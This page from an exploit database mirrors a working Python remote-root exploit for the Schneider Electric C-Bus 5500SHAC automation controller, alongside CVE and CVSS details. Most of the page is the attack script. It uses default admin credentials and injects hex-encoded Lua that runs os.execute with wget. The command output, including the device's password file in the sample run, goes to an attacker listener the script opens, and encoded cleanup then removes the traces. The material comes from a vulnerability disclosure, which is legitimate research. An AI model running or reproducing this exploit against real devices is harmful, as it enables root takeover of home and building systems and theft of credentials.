Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 Remote Root
CVE
Category
Price
Severity
CVE-2020-2096
CWE-78
Unknown
High
Author
Risk
Exploitation Type
Date
Bao Lei
Critical
Remote
2022-05-31
CPE
cpe:cpe:/h:schneider-electric:c-bus_automation_controller:5500shac-1-10
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required High PR The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022050095 Below is a copy:
Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 Remote Root #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 Remote Root Exploit
#
#
# Vendor: Schneider Electric SE
# Product web page: https://www.se.com | https://www.clipsal.com
# Product details:
# - https://www.clipsal.com/Trade/Products/ProductDetail?catno=5500SHAC
# - https://www.se.com/ww/en/product/5500AC2/application-controller-spacelogic-cbus-rs232-485-ethernet-din-mount-24v-dc/
# Affected version: CLIPSAL 5500SHAC (i.MX28)
# CLIPSAL 5500NAC (i.MX28)
# SW: 1.10.0, 1.6.0
# HW: 1.0
# Potentially vulnerable (alternative products/same codebase?): 5500NAC2 and 5500AC2
# SpaceLogic C-Bus
#
# Summary: The C-Bus Network Automation Controller (5500NAC) and the Wiser
# for C-Bus Automation Controller (5500SHAC)) is an advanced controller from
# Schneider Electric. It is specifically designed to unite the C-Bus home
# automation solution with common household communication protocols, from
# lighting and climate control, to security, entertainment and energy metering.
# The Wiser for C-Bus Automation Controller manages and controls C-Bus systems
# for residential homes or zones within a building and integrates functions
# such as heating/cooling, energy/load monitoring and remote control for C-Bus
# and Modbus.
#
# Desc: The automation controller suffers from an authenticated arbitrary
# command execution vulnerability. An attacker can abuse the Start-up (init)
# script editor and exploit the 'script' POST parameter to insert malicious
# Lua script code and execute commands with root privileges that will grant
# full control of the device.
#
# ------------------------------------------------------------------------------
# $ ./c-bus.py http://192.168.0.10 "cat /etc/config/httpd;id" 192.168.0.37 8888
# ----------------------------------------------------------------------
# Starting Z-Bus 2.5.1 ( https://zeroscience.mk ) at 15.03.2022 11:26:38
# [*] Starting exfiltration handler on port 8888
# [*] Writing Lua initscript... done.
# [*] Running os.execute()... done.
# [*] Got request from 192.168.0.10:33522
# [*] Printing target's request:
#
# b"GET / HTTP/1.1\r\nHost: 192.168.0.37:8888\r\nUser-Agent: \nconfig user
# 'admin'\n\toption password 'admin123'\n\nconfig user 'remote'\n\toption
# password 'remote'\n\nuid=0(root) gid=0(root) groups=0(root)\r\nConnection:
# close\r\n\r\n"
#
# [*] Cleaning up... done.
#
# $
# ------------------------------------------------------------------------------
#
# Tested on: CPU model: ARM926EJ-S rev 5 (v5l)
# GNU/Linux 4.4.115 (armv5tejl)
# LuaJIT 2.0.5
# FlashSYS v2
# nginx
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2022-5707
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5707.php
#
#
# 12.03.2022
#
import threading#!
import datetime##!
import requests##!
import socket####!
import time######!
import sys#######!
import re########!
from requests.auth import HTTPBasicAuth
from time import sleep as spikaj
class Wiser:
def __init__(self):
self.headers = None
self.uri = '/scada-main/scripting/'
self.savs = self.uri + 'save'
self.runs = self.uri + 'run'
self.start = datetime.datetime.now()
self.start = self.start.strftime('%d.%m.%Y %H:%M:%S')
self.creds = HTTPBasicAuth('admin', 'admin123')
def memo(self):
if len(sys.argv) != 5:
self.use()
else:
self.target = sys.argv[1]
self.execmd = sys.argv[2]
self.localh = sys.argv[3]
self.localp = int(sys.argv[4])
if not 'http' in self.target:
self.target = 'http://{}'.format(self.target)
def exfil(self):
print('[*] Starting exfiltration handler on port {}'.format(self.localp))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', self.localp))
while True:
try:
s.settimeout(9)
s.listen(1)
conn, addr = s.accept()
print('[*] Got request from {}:{}'.format(addr[0], addr[1]))
data = conn.recv(2003)
print('[*] Printing target\'s request:')
print('\n%s' %data)
except socket.timeout as p:
print('[!] Something\'s not right. Check your port mappings!')
break
s.close()
self.clean()
def mtask(self):
konac = threading.Thread(name='thricer.exe', target=self.exfil)
konac.start()
self.byts()
def byts(self):
self.headers = {
'Referer':self.target+'/scada-main/main/editor?id=initscript',
'Sec-Ch-Ua':'"(Not(A:Brand";v="8", "Chromium";v="98"',
'Cookie':'x-logout=0; x-auth=; x-login=1; pin=',
'Content-Type':'text/plain;charset=UTF-8',
'User-Agent':'SweetHomeAlabama/2003.59',
'X-Requested-With':'XMLHttpRequest',
'Accept-Language':'en-US,en;q=0.9',
'Accept-Encoding':'gzip, deflate',
'Sec-Ch-Ua-Platform':'"Windows"',
'Sec-Fetch-Site':'same-origin',
'Connection':'keep-alive',
'Sec-Fetch-Dest':'empty',
'Sec-Ch-Ua-Mobile':'?0',
'Sec-Fetch-Mode':'cors',
'Origin':self.target,
'Accept':'*/*',
'sec-gpc':'1'
}
self.loada = '\x64\x61\x74\x61\x3D\x7B' # data={
self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x34\x22\x3A\x22\x22\x2C' # "ext-comp-1004":"",
self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x35\x22\x3A\x22\x22\x2C' # "ext-comp-1005":"",
self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x36\x22\x3A\x22\x22\x2C' # "ext-comp-1006":"",
self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x37\x22\x3A\x22\x22\x2C' # "ext-comp-1007":"",
self.loada += '\x22\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x38\x22\x3A\x22\x22\x2C' # "ext-comp-1008":"",
self.loada += '\x22\x73\x63\x61\x64\x61\x2D\x68\x65\x6C\x70\x2D\x73\x65\x61\x72\x63\x68\x22\x3A\x22\x22\x2C' # "scada-help-search":"",
self.loada += '\x22\x69\x64\x22\x3A\x22\x69\x6E\x69\x74\x73\x63\x72\x69\x70\x74\x22\x2C' # "id":"initscript",
self.loada += '\x22\x73\x63\x72\x69\x70\x74\x22\x3A\x6E\x75\x6C\x6C\x2C' # "script":null,
self.loada += '\x22\x73\x63\x72\x69\x70\x74\x6F\x6E\x6C\x79\x22\x3A\x22\x74\x72\x75\x65\x22\x7D' # "scriptonly":"true"}
self.loada += '\x26\x73\x63\x72\x69\x70\x74\x3D\x6F\x73\x2E\x65\x78\x65\x63\x75\x74\x65' # &script=os.execute
self.loada += '\x28\x27\x77\x67\x65\x74\x20\x2D\x55\x20\x22\x60' # ('wget -U "`
self.loada += self.execmd # [command input]
self.loada += '\x60\x22\x20' # `".
self.loada += self.localh+':'+str(self.localp) # [listener input]
self.loada += '\x27\x29' # ')
self.loadb = '\x64\x61\x74\x61\x3D\x7B' # data={
self.loadb += '\x22\x69\x64\x22\x3A\x22\x69\x6E\x69\x74\x73\x63\x72\x69\x70\x74\x22\x7D' # "id":"initscript"}
print('[*] Writing Lua initscript... ', end='')
sys.stdout.flush()
spikaj(0.7)
htreq = requests.post(self.target+self.savs, data=self.loada, headers=self.headers, auth=self.creds)
if not 'success' in htreq.text:
print('didn\'t work!')
exit(17)
else:
print('done.')
print('[*] Running os.execute()... ', end='')
sys.stdout.flush()
spikaj(0.7)
htreq = requests.post(self.target+self.runs, data=self.loadb, headers=self.headers, auth=self.creds)
if not 'success' in htreq.text:
print('didn\'t work!')
exit(19)
else:
print('done.')
def splash(self):
Baah_loon = '''
######
##########
###### _\_
##===----[.].]
#( , _\\
# )\__|
\ /
`-._``-'
>@
|
|
|
|
| Schneider Electric C-Bus SmartHome Automation Controller
| Root Remote Code Execution Proof of Concept
| ZSL-2022-5707
|
|
|
'''
print(Baah_loon)
def use(self):
self.splash()
print('Usage: ./c-bus.py [target] [cmd] [lhost] [lport]')
exit(0)
def clean(self):
print('\n[*] Cleaning up... ', end='')
sys.stdout.flush()
spikaj(0.7)
self.headers = {'X-Requested-With':'XMLHttpRequest'}
self.blank = '\x64\x61\x74\x61\x3D\x25\x37\x42\x25\x32\x32'
self.blank += '\x65\x78\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30'
self.blank += '\x30\x34\x25\x32\x32\x25\x33\x41\x25\x32\x32'
self.blank += '\x25\x32\x32\x25\x32\x43\x25\x32\x32\x65\x78'
self.dlank = '\x74\x2D\x63\x6F\x6D\x70\x2D\x31\x30\x30\x35'
self.dlank += '\x25\x32\x32\x25\x33\x41\x25\x32\x32\x25\x32'
self.dlank += '\x32\x25\x32\x43\x25\x32\x32\x65\x78\x74\x2D'
self.dlank += '\x63\x6F\x6D\x70\x2D\x31\x30\x30\x36\x25\x32'
self.clank = '\x32\x25\x33\x41\x25\x32\x32\x25\x32\x32\x25'
self.clank += '\x32\x43\x25\x32\x32\x65\x78\x74\x2D\x63\x6F'
self.clank += '\x6D\x70\x2D\x31\x30\x30\x37\x25\x32\x32\x25'
self.clank += '\x33\x41\x25\x32\x32\x25\x32\x32\x25\x32\x43'
self.slank = '\x25\x32\x32\x65\x78\x74\x2D\x63\x6F\x6D\x70'
self.slank += '\x2D\x31\x30\x30\x38\x25\x32\x32\x25\x33\x41'
self.slank += '\x25\x32\x32\x25\x32\x32\x25\x32\x43\x25\x32'
self.slank += '\x32\x73\x63\x61\x64\x61\x2D\x68\x65\x6C\x70'
self.glank = '\x2D\x73\x65\x61\x72\x63\x68\x25\x32\x32\x25'
self.glank += '\x33\x41\x25\x32\x32\x25\x32\x32\x25\x32\x43'
self.glank += '\x25\x32\x32\x69\x64\x25\x32\x32\x25\x33\x41'
self.glank += '\x25\x32\x32\x69\x6E\x69\x74\x73\x63\x72\x69'
self.hlank = '\x70\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32'
self.hlank += '\x73\x63\x72\x69\x70\x74\x25\x32\x32\x25\x33'
self.hlank += '\x41\x25\x32\x32\x25\x32\x32\x25\x32\x43\x25'
self.hlank += '\x32\x32\x73\x63\x72\x69\x70\x74\x6F\x6E\x6C'
self.flank = '\x79\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74'
self.flank += '\x72\x75\x65\x25\x32\x32\x25\x37\x44'#######'
self.clear = f'{self.blank}{self.dlank}{self.clank}{self.slank}{self.glank}{self.hlank}{self.flank}'
htreq = requests.post(self.target+self.savs, data=self.clear, headers=self.headers, auth=self.creds)
if not 'success' in htreq.text:
print('didn\'t work!')
exit(18)
else:
print('done.')
exit(-1)
def main(self):
print('-'*70)
print('Starting Z-Bus 2.5.1 ( https://zeroscience.mk ) at', self.start)
self.memo(), self.mtask()
if __name__ == '__main__':
Wiser().main()
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